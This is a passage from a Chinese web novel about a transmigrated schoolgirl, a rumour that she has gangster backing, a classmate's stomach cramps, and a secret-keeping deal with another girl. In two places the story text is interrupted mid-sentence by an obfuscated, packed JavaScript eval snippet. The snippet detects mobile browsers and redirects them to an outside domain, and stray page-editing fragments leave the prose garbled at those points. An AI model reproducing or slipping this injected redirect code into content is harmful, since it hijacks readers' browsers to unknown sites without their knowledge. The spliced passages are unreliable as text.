周雅宜快痛死了,也快气死了急死了,她一把抢过温初夏手里的半截巧克力雪糕,正要往前面那俩小混混脸上扔。 结果却眼睁睁看着不知道从哪儿冒出来了四五个彪形大汉,把两个小混混包围起来,左右架着他们的胳膊,跟逮小鸡仔似的,轻轻松松就把他们拖进了旁边的巷子。 很快,巷子里传来哭天抹泪的求饶声—— “大哥!大哥你们谁啊?!我俩根本不认识你们啊,也没惹过……啊!打人别打脸——也别打我头!刚吹的发型啊!” “救命啊!我手要断了!!!” “对不起大哥,真的对不起,其实我们也是受人指使的!我们错了,我们不该鬼迷心窍见钱眼开呜呜呜呜……” 周雅宜举着雪糕:“……” “那些人都是谁啊?!你叫来的???” 她大为震惊,一时间连痛经都忘了。 温初夏回头看了一眼,平淡的语气毫无诚意:“不知道,不是我叫的。可能是路见不平拔刀相助的好心人吧。” 周雅宜懵:谁家好心人这副体格啊?还一来就来四五个!你骗小孩儿呢! 但周雅宜现在没心情追问这些,她忙把快要化掉的雪糕塞回温初夏手里,因为肚子太疼而微微弯着腰,两手捂着腹部,语气却凶巴巴的,跟只小老虎似的: “温初夏,你!现在立刻马上跟我……” “对不起啊。” 周雅宜:??? 她懵了:怎么道歉还能带预判的呢??! 因为工作性质原因,温初夏演戏演习惯了,戏精的灵魂刻进了DNA里。 你要让她表演一出悔不当初痛不欲生的大戏,她保证,三秒钟不到,就能悲伤到豆大的泪滴啪嗒啪嗒往下掉 但遇到这种需要表达真情实感的时候,她反倒别扭起来。 所以,道歉的时候她看天看地看手里的雪糕,就是不看周雅宜的眼睛。 她小声bb:“我也不知道你会这么怕鬼啊,早知道那天就不加纸扎人了……” 见这人居然还好意思提,周雅宜的脸色由白变绿,毫无血色的嘴唇张了张,好半天才憋出来一句—— “……你先把雪糕扔了!” 温初夏不理解她为什么对自己这半根雪糕这么有敌意,但还是照做了,扔进路边的垃圾桶里,又回来站在她面前。 言听计从的样子让周雅宜找回一些自信,她强撑着挺直腰杆,双手叉腰下巴微抬,伴随着巷子里哭爹喊娘的惨叫声,又道: “还有呢?” 温初夏眉毛一挑:? “还有——” 她大脑飞速运转,拖着嗓子迟疑道:“也不应该加那俩氛围灯?” 周雅宜:“……” 哈哈,哇蓝和哇绿的氛围灯,好小众的词汇。 见她依旧绷着个脸,温初夏又好一通搜肠刮脑,有一个算一个地补充:“和骷髅架子,以及那个鬼脸。哦,视频我也该少剪两部片儿进去的……” 合着那天的鬼片集锦还是您自己剪的呢,真是辛苦了辛苦了…… “哎呀我说的不是这个!” 一嗓子吼完,周雅宜痛的实在是受不了,又认命地把背弯了回去,右手用力按着小腹,虚弱道:“是你之前说的那些、那些大逆不道的话。” 温初夏这才发现她原来是肚子痛,赶紧上前虚扶住她,问:“你怎么了?是来姨妈了还是阑尾炎啊?” 同时心里疑惑自己说的哪句话大逆不道了,她刚穿越来没多久,根本就没和周雅宜说过几句话啊。 周雅宜一脸痛苦:“姨妈……” “那你还跑过来??” 还不是因为你! 周雅宜忍不住再次开吼:“我不来的话你怎么……” 吼到一半,她忽然哑了。 因为温初夏好像不需要她的帮忙,也能轻松脱险,甚至,不用亲自动手。 ……玛德,我到底为什么要过来找她。 周雅宜觉得自己又傻逼又可怜,丢人死了! 铺天盖地的羞耻感如同一道迅猛的飓风刮过,她几乎是下意识地双腿一软,接着就要跌坐在地上。 还好温初夏把她捞住了。 温初夏以为周雅宜是痛的要晕过去了,语气也有些急:“你等等你先别晕,我扶你去旁边的店里坐下,然后打120……” 打什么?120?!! “不用!” 周雅宜一下子站直了,她长这么大,还从没听说过有人是因为姨妈痛而被救护车拉去医院的,她才不要当第一个! 但随即又支撑不住软了下去,弱弱地解释说:“我每次来都这么痛,不需要去医院。附近有药店吗?我吃点热水吃点止疼药就行。” 温初夏看着前方,想了想:“我记得往前再走一段有一家诊所,你还能自己走吗?不能的话我背你。” 周雅宜忙道:“能能能,你别背我!我才不要你背!!” 温初夏“嘁”了声,没好气道:“脾气。” 周雅宜难受的眉毛再次连起来,整个人都靠在温初夏身上,脚底虚浮,但依旧坚持还嘴:“说的好像你脾气很好一样……” 10. 第 10 章 五分钟后,药店。 “热水,我给你又接了一杯,拿着暖手吧。” 周雅宜接过盛满温水的纸杯,温初夏在她身边坐下,没再说话。 两人就这样安安静静地坐着,两人的书包也安安静静放在旁边的椅子上,背靠着背。 一个,是几万的限量款,一个,是某宝销量1000+的便宜货,无论款式还是材质都是一个天上一个地下,对比很惨烈。 周雅宜刚吃过药,胃里暖暖的,贴了暖宝宝的小腹暖暖的,连指尖也是暖暖的。 店里的阿姨知道她痛经,还特意给她搬来了暖风机,周雅宜连声道谢。 虽然止痛药还没起效,但周雅宜的精神却好了不少,脑子也逐渐转的动了。 在暖风涌动的沉默中,忽然,她偏头看向温初夏,声音虚弱但很不容置噱地说:“诶,你再跟我说声对不起。” 温初夏正想着事,闻言足足愣了两秒,才问:“为什么?” 周雅宜睁着她那双圆圆的大眼睛,看着温初夏,挑眉道:“你先说了我才会给你说谢谢。” 这是精神好了,凶人的气势也回来了? 温初夏心说欢乐谷效应又犯了,无语地移开目光:“谁稀罕你的谢——” “对不起,行了吧?” 她火速说完,又不自在摸了摸耳朵,吐槽道:“矫不矫情,连一句对不起都要求别人必须说两遍,我看你吃药最好也干脆吃两颗好了。” 周雅宜低头轻轻抿了一口烫水,语气也不算好:“这两句对不起不一样,你之前还做过什么对不起我的事情,你自己心里没点儿数吗?” 目光跑过去,目光跑过来,温初夏疑惑:“我做过什么了?” 她想起之前周雅宜说的什么大逆不道的话,又改口:“我……说过什么了?” “你不会忘了吧??!” 周雅宜忽然激动,纸杯里的水差点儿撒出来,一副很想扁人的样子。 温初夏怕说错话了真被扁,并且就周雅宜现在这个身体状况,自己被扁了还没法还回去,特别不划算! 所以,她本着好猫不跟狗斗的原则,小心翼翼地问:“要不,你帮我回忆回忆?” “温初夏,你故意的吧?!” 周雅宜真想把手里的水全泼温初夏脸上,苍白的脸色因为太过恼怒而升起可喜的红润,看起来精神更好了。 不对,是精神过头了。 周雅宜吹胡子瞪眼道:“让我帮你回忆,不就相当于把当时你骂我的话再说一遍吗!” 温初夏于是更懵逼了:我骂过你??? 好吧好吧,我确实骂过你,但那都是在心里的骂,是我身为前辈,对你这个恶毒女配的谆谆教诲和拳拳赤诚,别的守护者想要我骂我都不乐意呢,你倒还介意起来了。 等等。 温初夏忽然福至心灵,在脑海里问系统:“我穿越来之前,这个‘温初夏’有骂过周雅宜吗?” “怎么可能。” 粉团子言之凿凿:“《等风》女主温初夏的人设可是坚韧善良小白花,就算别人骂她祖宗十八辈,她反击的方式也绝对不会是骂回去,而是通过其他途径。骂人太low了,百分之九十九的小说女主都不会这么干的。” 温初夏:“……” 我怀疑你在内涵我,但我没有证据。 “那原著里有说女主温初夏和女二周雅宜最开始是怎么犟起来的吗?”她又问。 粉团子检索了一下,回答:“没有,第一章就是上周你第一天上学的剧情。” 温初夏想,既然女主不会骂人,而周雅宜又非说自己骂过她,还一副骂的很脏的样子,那这其中肯定有误会。 “你是亲耳听见我骂了你,还是听别人说的?” “听,别人说的啊……” “谁说的?” 周雅宜犹豫了一会儿,别过头:“我不告诉你。” “你不告诉我我就猜不出来了?”温初夏冷哼一声,干脆道:“是苏筱筱吧?” “你怎么知道的?” 周雅宜错愕地看着她,然后又换了一副了然的表情:“果然,你骂过我!” “我骂个锤子。” 温初夏真佩服她的理解能力,无语道:“你平时和苏筱筱关系最好,而她跟我关系又不好,我第一个不猜她猜谁?” 恶毒女二+趋炎附势煽风点火的狗腿女n(n>=3),这可是玛丽苏文的经典配置。 并且,但凡女二智商堪忧点,基本上是都是被女n当枪使的,周雅宜疑似就是个活生生的例子。 “她说我骂你什么了?”温初夏来了兴致,翘起二郎腿问。 周雅宜原本十分坚定地相信温初夏私下骂过自己这回事,但现在,这份坚定开始出现动摇。 不仅仅是因为温初夏刚才自然流露出的吃惊反应,更加重要的原因,是周雅宜忽然觉得,温初夏应该不是那样的人。 应该不是会在私下骂别人是“没脑子的米虫”、“拿智商换家世”、“胸小无脑”……的人。 她俩究竟谁在撒谎? “不告诉你。” 周雅宜神色复杂地看着眼前的玻璃药柜,指腹摩挲着温热的纸杯。 两秒后,她垂眸眨了下眼,又说:“等我回去了会向筱筱问清楚的。” “哦,好吧。” 温初夏虽然好奇,但不多。 因为如果是她自己亲自骂的话,绝对会比苏筱筱编造的那些小孩儿过家家的话要难听一百倍。 又是片刻沉默。 “刚才,谢谢你啊。” 周雅宜几乎要把头埋进杯子里。 “嗐,小事儿。”温初夏翘着二郎腿的脚晃啊晃,语气轻快。 “他们那边……应该,结束了吧?” “嗯,应该吧。” 温初夏脚不晃了,顿了顿又说:“就那俩小鸡仔混混,我都能一拳一个,肯定早就被收拾完了,现在多半正哭着呢。” 说完,周雅宜看她的眼神立刻变得有几分敬佩。 “那你不用去和他们说一声吗?” “说什么?”温初夏开玩笑,“下次见着我滚远点?还是下次见着你滚远点儿?” “不是那两个混混。” 周雅宜本想绷着脸,但还是忍不住笑了笑,道:“是跟那几个帮我们的……壮汉大哥,说谢谢。” “我为什么要和他们说谢谢??” 温初夏心说这孩子不是不是家教太严了,就连花重金请打手这种事情,完事之后都要感激对方? 拿钱办事,这不应该的吗。 “因为他们是你大哥啊,你们这些道上混的人不是最重视这种……额,长幼尊卑?繁文缛节?或者说,帮派的秩序规则这、这一类的东西?” 周雅宜一语惊人,偏偏还是一副理所应当的表情,大眼睛十分清澈。 温初夏:噗——! 她迷之沉默地盯着周雅宜看了几秒,然后站起来,伸出微微颤抖的手,拍了拍她的肩膀,沉声肃然道: “你说得对,大哥们帮我摆平了这次危机,我确实是应该好好感谢他们——你没什么事儿了吧?” 周雅宜忙乖巧地摇摇头。 “行,那我先走了。” 扯起书包出店后,温初夏随即在脑海里爆发出排山倒海般的大笑,吓得粉团子急忙捂住耳朵,惊疑地问: “宿主!你怎么了???” 听到她的声音,温初夏精神分裂般一秒收了爆笑,再冷冷一哂:“哼。” 粉团子:? “混的人,不需要解释。”温初夏高傲道。 粉团子:“………………” 她觉得自己急需下单一箱干燥剂,不然会被宿主潮的服务器短路。 . 也不知道究竟是因为周雅宜嘴巴太大,还是她的社交范围太广,“温初夏在道上混”这件事,居然一夜之间就传遍了整个清荟。 一石激起千层浪,吃瓜论坛帖的评论区在短短半小时内就炸开了锅。 大家都非常惊讶,连霸年级第一一整年的乖乖女学霸,背地里居然是混□□的,还有一堆□□大哥给她撑腰! 【我去,这确定不是谣言吗?wcx平时看着挺文静的啊,成绩又好,怎么可能是社会人啊】 【一眼假,楼主是不是作业太少闲着了?这么离谱的瓜都编得出来】 【瓜虽离谱,但空穴来风必有因啊,所以这事最开始是从谁口中传出来的?】 【我和温一个班的,她平时高冷的很,从不主动和同学说话,好像也没什么朋友,完全就是个不问世事的世外高人,能流传出这样的瓜,肯定是发生什么事了】 【楼上有理,疑似从假瓜里吃到真瓜(在田窜来窜去)】 【我我我我知道!好像是温班上某S姓女生和她不对付,今天下午找了人在放学路上堵她,但貌似反而是对方被收拾惨了】 【靠?对方反被收拾了??那怪不得会传出wcx混社会的传言。不过咱就是说,就不能是wcx自己解决的吗?女生无论干什么都非得靠男人是吧?[流汗]】 【S姓女生?盲猜是去年校庆典礼的某女主持,特爱出风头还抢人台词的那位】 【咦,原来是她呀,一想起当时的场面我还jio指抠地呢,死去的记忆忽然攻击我[吐]我记得被她抢词的那位高三学姐还连发好几条pyq内涵她来着】 【笨人高一的,当时还没入校,不知道这个瓜但好好奇啊!哪位好心人可以详细分享一下呀,求求了!!!】 【话说这已经算得上是校园霸凌了吧,学校会处罚她吗?】 【不可能,S她爸可是大校董,不然你以为凭她的家世,能和周氏那位成为好闺蜜吗?还不是因为S在学校里横行霸道惯了,高一的时候一有女生和周走得近,她就针对谁,直到她和周关系稳定了,才好一点】 【天呐,wcx到底是哪里惹到S了?既然这次没成功,那以这位姐的性格,以后肯定还再继续整她的】 …… “呼——” 灯光明亮的卧室,李书雪抱着手机长舒了一口气,然后因为用脑过度而疲惫地瘫倒在床上,脸埋在柔软清香的被子里。 她刚才连续切了好几个小号,在帖子里引导舆论走向,终于成功把话题的中心引到了苏筱筱身上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502001|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>现在大家都在评论区里蛐蛐她吐槽她讨伐她,而温初夏则是百分百的受害者苦主。 瘫了片刻,李书雪又在床上翻了个身,捞起手机,咬唇看着发光的屏幕,眉毛不确定地皱起,喃喃自语说: “也不知道做了这些,到底能不能让温初夏答应替我保密……” 但,该说不说,看见苏筱筱被骂,她心里是真的很爽,所以不管温初夏答不答应,她都不后悔这么做。 与此同时,相隔数十里的另一间卧室。 “爷爷——别再骑着轮椅乱跑了!现在都晚上十点半了,当心楼下邻居投诉。” 朝房间外喊完,李确无奈地叹了口气,视线又重新移回到手机屏幕。 面前的书桌整洁有条,左边垒得整整齐齐的,是他已经写完的作业试卷,而右边竖着放着的,则是一堆课外书。 最外侧的那本,正是前些天温初夏还回来的《悲惨世界》。 封皮之上,蜜桃的香气仍未消退。 而房间里的气味还要更浓烈一些,因为李确半小时前刚切了盘桃子,四分之一给了平时要控糖的老爷子,剩下的自己端进卧室,现在还剩下两块儿没有吃完。 新鲜的桃子。 水红,脆甜,芬芳。 一口下去,还微微有些涩牙。 李确和温初夏不是同班同学,而是和时准一样在一班,他二人一直包揽着全班前二,全年纪的第二第三,只是位次偶有交换。 李确不太了解三班的情况,去年虽然参加了校庆,但一到那段抢台词的冥场面,他就尴尬得赶紧低头全身心地看手机了,所以也并不知道帖子里那位姓S的女生叫什么名字。 但既然她和温初夏不对付,那很有可能,她就是在书里夹小卡片的人。 可这个念头刚冒出来,就又被李确否定了。 不太像。 一个连放一句不算狠的狠话,都会在旁边画个卡通表情来缓解敌意的人,应该做不出这种动真格的事。 李确翻开《悲惨世界》,把夹在书里的卡片拿出来。 戴着黑色骷髅头套的库洛米上眼睑前低后高,嘴巴的线条是弯曲的括弧,看起来一副坏心眼的样子。 但她只是一只小兔子,小兔子的坏心眼能有坏到哪里呢? 李确把卡片夹在指尖看了看,暗自纠结了两天,最终还是决定在微信上问一问温初夏。 此时的温初夏刚写完作业正在卫生间刷牙,听见放在洗手池上的手机震了两下,她忙吐掉泡沫,拿起来一看—— 李确:【图片】 李确:【从你还回来的那本《悲惨世界》里发现的。你最近是不是遇到什么麻烦了?】 温初夏点开大图,看到了卡片上一板一眼的字迹,以及那只简笔画的库洛米。 一猜就知道,肯定是周雅宜画的。 怪不得那天换位置后的课间,她会主动把书放到自己桌子上,原来是因为在里面塞了张diss小卡片啊。结果自己还没发现。 温初夏看乐了,哈哈笑了几声,差点儿被自己的口水呛到。 她把沉甸甸的电动牙刷咬在嘴里,打字回复: 【是遇到了点儿小麻烦,不过已经解决了,不用担心】 李确:【哦哦,那就好】 李确并不是爱多管闲事的人,和温初夏的关系也不算亲近,两人仅仅只是普通朋友,外加一点儿学霸之间的互相欣赏而已。 所以在得知温初夏没事之后,就没再继续问下去了。 放下手机,他再次拿起卡片,左手托腮,纤薄方正的小纸片在少年人灵活的指尖翩翩翻转,像是在变魔术。 灯光柔软,如同世界上最灵动精巧的水彩画笔,给蓬松的发丝染上绒绒的暖晕,俊逸的眉眼也显得格外温柔。 李确垂着眸:“画的还挺好看,扔了的话怪可惜的……” 他打开书桌的小抽屉,从里面找出了一个纽扣磁铁,把小卡片吸在了书桌的金属隔层上,平时坐在书桌前,稍微一抬头就能看见。 干燥温热的指尖轻抚过库洛米的耳朵。 “以后,你就陪着我学习吧。” …… . 因为自行车坏了,温初夏第二天只能打车去上学,顺带早上偷懒多睡了二十分钟觉,心情轻松又美妙。 从校门口到教室的路上,她吊儿郎当地叼着片全麦吐司,书包也不好好背,右边的背带掉到了手肘,走起路来整个书包晃啊晃的,拴在拉链上的粉团子差点儿没吐出来。 直到只剩最后一点吐司边边,温初夏才终于把书包背端正了,规规矩矩神色冷淡地走进高二(三)班。 瞬间,原本喧闹不止的教室变得无比安静,温初夏下意识脚步一顿,感觉整个班的目光都集中在自己身上。 探究中带着躲闪,八卦中暗含敬畏。 温初夏:? 她左手指尖把剩下的吐司边边怼进嘴里,右手悄悄去捏粉团子。 “诶,他们为什么都这么看着我啊?发生什么事了??” 结果粉团子学着她之前的语气,高贵冷艳地回:“混的人,不需要解释。” 温初夏:“………” 11. 第 11 章 小客服还在气头上,温初夏好声好气哄了半天,并保证下次自己绝对老实背书包,不会晃着她,花了半个早自习的时间,才差不多搞明白是怎么回事—— 她居然在无意之间,给自己立了个表面上是年级第一高冷学霸,暗地里却是黑.道不良少女的反差人设。 并且还是在道上拥有十几个大哥,个个武力值高的惊人,左青龙右白虎,超牛逼超拉风超不好惹的那种。 温初夏一开始还觉得挺有意思,心想这样的话,那苏筱筱她们应该就不敢再招惹自己了,省事儿又轻松。 但接着又觉得貌似有什么地方不对劲,脑子灵光一闪后,忙不迭去查看界面融合度的数值。 果不其然,因为女主人设轻微偏移,界面融合度下降了两个百分点,从之前的60%变成了58%,离界面崩溃只剩下八个百分点了…… 天!塌!了! 温初夏欲哭无泪:虚假传闻害死人啊!这事究竟是谁传出去的??! 不用想也知道,绝对是周雅宜。 至少源头肯定是她。 温初夏气的想锤桌,扭头去看周雅宜的座位,却发现她今早居然没来上学,可能是昨天姨妈痛得太狠,所以请假了。 没有寻找到目标的视线穿过空荡无人的桌椅,与旁边的苏筱筱意外对上了。 “……” 看着对方脸色铁青、目光凶狠,一副恨不得要撕了她的样子,温初夏反而风轻云淡起来,四两拨千斤地冲对方勾唇一笑:“哼。” 随即就扭回头不再理会,继续背英语单词了。 二十分钟后,下课铃声一打响,温初夏就立刻起身,抄起自己在早自习上填好的一堆单子走出教室,想去语文办公室找阚春兰,半路却被人叫住了。 “温、温初夏,你等等。” 转头一看,来的人居然是李书雪。 她站在离温初夏五米远的地方,颤抖的声音明显有些紧张,目光却隐隐透露出坚定。她问:“你现在有时间?我有事想和你聊聊。” 温初夏低头看了眼电子表,离第一节上课还有十四分钟时间,于是放下手,语气淡淡的:“五分钟之内能说完吗?我赶时间。” “能能能。” 得到允许的李书雪立刻快步走到她身边,指了指旁边的楼梯口,眼神恳切:“我们进去说?” “吱呀——” 厚重的防火门打开,又关闭。 李书雪也不废话,直接拿出手机把昨晚的热帖给温初夏看。她快速地滑动了几下屏幕,指着几条评论说: “这几条评论,还有这几条,都是我用小号发的,现在大家都知道了昨天苏筱筱找人堵你的事,好多人都在骂她呢,还想联合上报学校要处分她。” 哦。 温初夏心下了然:原来是来当墙头草的啊。 她把视线从屏幕中上移,饶有兴趣地看了李书雪一眼,挑眉问:“所以呢。” “我这也算是帮了你一回吧?”李书雪摁熄屏幕,俏脸正经地看着她。 “要我感谢你?” “不。” 温初夏的目光分明很平静,但李书雪仍然感觉到了慌乱和紧张,她两手紧紧握着手机,深呼吸一口气,终于说了出来:“我想和你做个交易。” “什么交易?” 李书雪用尽量冷静的声音说:“今后如果苏筱筱她们还想再对付你,我可以提前给你通风报信,但条件是,你得帮我保密。” 温初夏抱起胳膊,将身体的重心集中在左边,右腿放松,站姿有些懒散。 她明明一秒就猜到了对方是什么意思,却还是坏心眼地故意问:“保什么密?是关于你穿假裙子的事儿?还是关于你掉游泳池里的事儿?” “嘘——!” 由于担心事情暴露,李书雪这段时间每天吃不好睡不好,已经有点儿PTSD了,一听到“假裙子”三个字,她立刻应激地“嘘”了一声。 紧接着,又反应过来楼道口里根本就没有第三个人,脸蛋飞快染上一分羞赧,底气不足但硬撑道: “那条裙子和正品几乎没差,除了你之外根本没人发现,而且你也没有证据证明那天我穿的是A货,我来找你只是为了求个心安,你别以为单凭这件事情就可以威胁我。” 这就啊? 温初夏笑了一下:“你看我像是这么无聊的人吗?本来就没打算跟别人说,你不用紧张。” 李书雪听后,虽然面上依旧紧绷,但心里却松了好大一口气。她把手机揣回外套口袋,这几天悬着的心也终于落到肚子里。 不过她还是没完全放心,又提醒道:“这可是你自己说的,以后要是被我发现你出尔反尔,我绝对不会放过你。” 温初夏双臂松开垂在身侧,左手捏着一小叠纸,懒得再搭理她:“没别的事了吧?那我先走了。” “欸你……” 李书雪想要出口阻拦,但温初夏已经推门离开了。 走这么快,什么事情这么着急? 李书雪刚轻松不到五秒的心情,瞬间又变得烦躁起来,愁的一拍脑门。 啊啊啊还是没能问出口! 她到底是不是温家千金啊?!! 这些年李家和温家在生意上有过几次小合作,但都不是温汝峰亲自出面交涉的,盛世集团家大业大,李父虽有结交之意,却也只见过温汝峰的秘书和几位副董。 并且谈生意就是谈生意,名利场之间一般不谈论家事,所以他对温家也不太了解。 最近李父工作繁忙,几天没回家,昨天李书雪好不容易逮到她爸,急头白脸地问了一通也没能打听出温汝峰的独生女叫什么名字。 就只知道她从小爱清净,很少出席圈子里的社交场合,年纪和自己差不多大,还在上高中。完了。 虽然这点模糊的信息看似没啥价值,但也不能证明温初夏不是温家千金,所以李书雪陷入了纠结。 陷入了要不要脱离周雅宜和苏筱筱她们的小团体,转而去抱温初夏大腿的纠结。 当惯了挥金如土的富家千金,李书雪并不是一个爱好功利的人,因为她打小就认为,自己哪怕不付出一点儿努力,也能拥有轻松惬意的美好人生。 但最近家里公司的危机越来越严重,妈妈每天在家忧心忡忡,爸爸也疲惫的像是老了十岁,李书雪心里着急,却帮不上什么忙。 所以当她得知温初夏可能是温家千金的时候,惊讶之中其实是夹杂着一些惊喜,和希望的。 李书雪一脸愁容地站在原地,焦躁的像一锅咕嘟咕嘟冒泡泡的热粥,心想:如果她真的是温汝峰的女儿的话,那…… 哎呀算了!还是先观望观望吧。 她撒气地用力推开防火门,走了。 语文办公室。 阚春兰侧身坐在办公桌前,一张张翻看着手里的一叠报名表,表情不知为何有些严肃。 看完后,她习惯性地推了推眼镜,抬头问身边站着的温初夏:“你真要报名这么多竞赛?” “嗯。” 温初夏乖巧地背着手,说:“老师您不是说学有余力的同学可以多报几科吗,我觉得我很有余力,就都报了。” 阚春兰嘴角微抽。 哪怕身为一名天天鸡娃、把“只要学不死就往死里学”挂在嘴边当口头禅的老师,也觉得温初夏这回有点过激了。 从教这么多年头一次遇到这种情况,她将报名表放在桌面上,稍微顿了顿,想了一想,才委婉地劝阻: “可是这也太多了,你怎么可能兼顾得过来啊?还是少报两科吧,听老师的话,啊。” 温初夏表面微笑,其实心里早已泪流满面:呜呜呜你以为我想找虐啊,谁让我现在人设歪了,不把好学生的人设掰回来界面融合度还得接着往下掉…… 她暗自深吸一口气,努力平复下波涛汹涌的心情,多年从业积累的高超演技在此刻到达巅峰。 只见温初夏露出一个“我办事你放心”的表情,自信满满地说:“老师您不用担心,我心里有数,能兼顾过来的。” 阚春兰两手交握放在腿上,皱着眉,还是不赞同:“初夏啊,老师知道你是个好学生,又聪明又努力,但、但是你也得注意劳逸结合啊,你这么拼命,万一把身体弄坏了怎么办?岂不是得不偿失。” 时准就是在这个时候走进办公室的,手里抱着刚收齐的语文作业。 背对自己的少女嗓音清冽婉转,但语气却带着浓浓的无奈,像是被生活的重担压的喘不过气: “阚老师,实话和您说了吧,其实我之所以想报这么多竞赛,是因为我快没生活费了,如果竞赛能拿到好名次的话,就能靠奖金撑过这段时间。” “你这孩子,遇到困难怎么不早点和老师说呢?!” 阚春兰一下子站起来,着急忙慌地给她出主意:“要不这样,我去和年级主任说一下,问问看学校能不能把这学期的奖学金提前给你。” “不用麻烦的老师。”温初夏连忙摆手,“学校免除了我的学费,我已经很感激了。再说我自己也不是没有办法,靠自己也能行。” “不行!这怎么能行呢!” 阚春兰一脸心疼,亏刚才她还以为温初夏一口气报这么多竞赛是不是受什么刺激了,结果,居然是因为生活所迫! 她还是个十七岁不到的孩子,怎么能吃的了这么多苦! “你大概需要多少?老师借你,五千够不够?”阚春兰拿起手机就要给她转账。 温初夏头都大了,连忙把手摆得更快:“不用不用,老师我怎么能借您的钱呢,我自己真的可以的,您的好意我心领了,但……” 推诿间,阚春兰终于注意到了站在门口进退两难的时准,和温初夏一人拉着手机的两端,偏头问他:“欸?怎么是你抱的作业,李确呢?” 时准于是迟钝地向里走了两步,表情有些讪讪,解释说:“他一下早自习就被闻老师叫走了,所以我替他来交作业。” 说完,时准把练习册放在阚春兰的办公桌边,然后立刻转身离开,全程没有看温初夏一眼。 一副他刚才什么都没听见的表现。 最后温初夏费了老鼻子劲,被说了十几次“你怎么这么犟呢”,才终于让阚春兰放弃转账的念头。 她踩着上课铃声小跑回班,趁讲台上的英语老师还在调PPT,把手机放在课桌里,低头从班群里找到了李书雪的微信,申请添加好友。 没想到对方居然一秒就通过了。 温初夏有些好奇地侧目一看,发现这位姐姐居然直接把手机放在桌面上摊开的课本里,一点儿不带遮掩的,老师明明也看到了,但没管。 这群少爷小姐们只要不在课上睡觉吃东西做美甲,就算是尊师重道了。 李书雪:【加我干嘛?有事啊?】 温初夏:【嗯,有事。昨晚的那个帖子,你去帮我删了】 高高在上的语气看的李书雪有点想炸:【……你这是在命令我???】 温初夏:【我可没这个意思,但如果你非要这么理解那我也没办法】 “……” 李书雪深呼吸一口气,美甲戳的屏幕噼啪响,没好气地回复:【帖子已经被苏筱筱举报删了】 温初夏:【哦,这样啊】 温初夏:【那你就帮我做另一件事吧】 还有第二件??! 李书雪真要炸了,温初夏这明显是要赖着自己一个人威胁的节奏啊! 没有人喜欢被威胁,她干脆不再观望,直接开门见山地问:【我问你,你是不是温家人?那个盛世集团的温家?】 那边冷了几秒:【如果我是的话,你就会答应帮我做事了?】 李书雪呼吸一滞,全身上下的血液凝固一秒,紧接着又开始剧烈沸腾,她指尖颤抖地回:【前提你得是】 …… 教室后的挂钟哒哒走了五下。 温初夏:【好吧,我是】 温初夏:【要保密哦,如果我的身份泄露了,我保证不到第二天,你穿着假裙子掉进泳池变成落汤鸡的视频就会出现在微博热搜第一条,你想删都删不掉】 李书雪惊了:我日,她、她居然还有视频??! 等等,这不是重点—— 温初夏真的是温家千金?!!!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502002|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李书雪心神晃荡,震惊的魂儿都快飘出来了。 虽然她这些天一直在怀疑温初夏的真实身份,但当真的得到肯定的回答时,她还是觉得无比魔幻。 想当年盛世集团还姓宫的时候,掌门人宫老爷子可是当过好几年的全国首富,各种产业遍布全球,哪个人不想攀附?就连他的司机也有数不清的人想巴结。 而几十年后,他唯一的亲外孙女居然流落在外过着如此艰辛的生活,要靠着奖学金才能勉强度日。 这也太离谱了吧,你当是写小说拍电影呢。 温初夏她,不会是在唬自己吧? 李书雪紧张到后背开始出汗,赶紧强迫自己定住心神,谨慎为上,打字道:【说大话谁都会,你怎么能证明你是温家人?】 温初夏:【你想我怎么证明?】 李书雪犹豫再三,最后还是直接把真实意图说了出来:【能让你爸和我爸见一面吗?我家公司最近出了点儿状况,刚好你家能帮忙解决】 她怕温初夏是骗她的,更怕温初夏不答应,又补充道:【如果你能帮我家度过难关的话,今后让我给你做牛做马都愿意,我发誓!】 时间一分一秒地过去。 李书雪的目光死死盯着聊天界面,不敢挪动。 …… 很快,一分钟过去了,就在李书雪开始心灰意冷,觉得白高兴一场时,对方终于回复了—— 【181XXXXXXXX】 【这是我爸的手机号,你让叔叔今明两天之内联系他。至于事情到底能不能成,就看你爹表现咯】 李书雪体验了一把什么叫做大喘气,瞬间激动的眼眶通红想尖叫,但顾及着周围都是在听课的同学,她只能用力掐自己的大腿肉,这才勉强忍住了。 【好,真是太谢谢你了!】 李书雪克制地吸了吸鼻子,又立马向温初夏滑跪道歉:【之前我欺负过你,你还愿意帮我,你真是个好人,从前的事真的很对不起π_π】 温初夏最不喜欢这种黏黏糊糊的场面,赶紧让她打住,三言两语把想让她做的事情交代清楚。 半分钟后,李书雪看着聊天框的眼神逐渐从刚才的兴奋激动,转变为了谜之无语。 她问:【你确定?】 温初夏:【当然确定(^_^),加油干啊,如果干好的话,说不定我还会在我爸面前给你家美言几句】 一天班没上过的大小姐,此刻却深深体会到了打工人被潜力股老板画弥天大饼时的澎湃心情。 她斗志满满地回复:【行!知道了!我会努力的!!!】 …… 这天放学后,温初夏打车回家,下车后在巷子外的包子铺买了一荤一素两个包子,外加一杯熬得稠稠的红豆粥,共计7.5元,当做今天的晚餐。 回到家,她把书包让桌上一扔,一边嘬粥,一边坐在沙发上刷清荟的校园论坛。 最顶上的几条帖子标题如下—— 【今早路过高二语文办公室,意外听到温初夏居然报了全科竞赛,全科!!!】 【中午在食堂干饭,看见温初夏在一边吃饭一边看书,好一个无情的全自动学习机器】 